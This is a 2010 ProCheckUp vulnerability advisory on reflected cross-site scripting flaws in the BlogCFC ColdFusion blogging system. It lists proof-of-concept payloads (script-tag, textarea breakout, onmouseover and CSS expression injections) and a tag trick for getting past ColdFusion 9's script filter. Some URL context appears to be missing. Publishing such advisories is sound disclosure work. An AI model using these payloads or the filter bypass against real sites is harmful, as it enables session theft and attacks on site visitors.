Vulnerability found:
02 May 2010
Vendor informed:
03 May 2010
Severity level:
Richard Brain of ProCheckUp Ltd (
BlogCFC is a ColdFusion based blogging System.Procheckup has discovered that Various BlogCFC programs are vulnerable to generic reflective Cross Site Scripting (XSS) attacks.

Note: BlogCFC was tested on a fully patched Windows XP machine, ColdFusion 8 (unpatched) and SQL 2005 were used from the application server and the backend database.

Note: Coldfusion 9 includes a application firewall and will replace any <script> tag, To circumvent this the

<script>alert(1)</script> needs to be substituted with a tag not on the match list like </XSS/*-*/STYLE=xss:e/**/xpression(window.location="")> (this works on IE7 & IE6)

BlogCFC Versions tested
Proof of concept:
Unauthenticated vanilla XSS. IE7 (Internet Explorer) browser used.<script>alert(1)</script>&thistag.EXECUTIONMODE=start"></textarea><script>alert(1)</script>&attributes.fieldname=Procheckup&"><script>alert(1)</script>"><script>alert(1)</script>

The following works due to the error page not sufficiently filtering tags on unpatched Coldfusion 8'</XSS STYLE=xss:expression(location='')>

The following examples the Mouse has to be moved over the subscribe input box"onmouseover="alert(1);"onmouseover="alert(1);"onmouseover="alert(1);"onmouseover="alert(1);"onmouseover="alert(1);"onmouseover="alert(1);
How to fix:
Apply the latest patched version.
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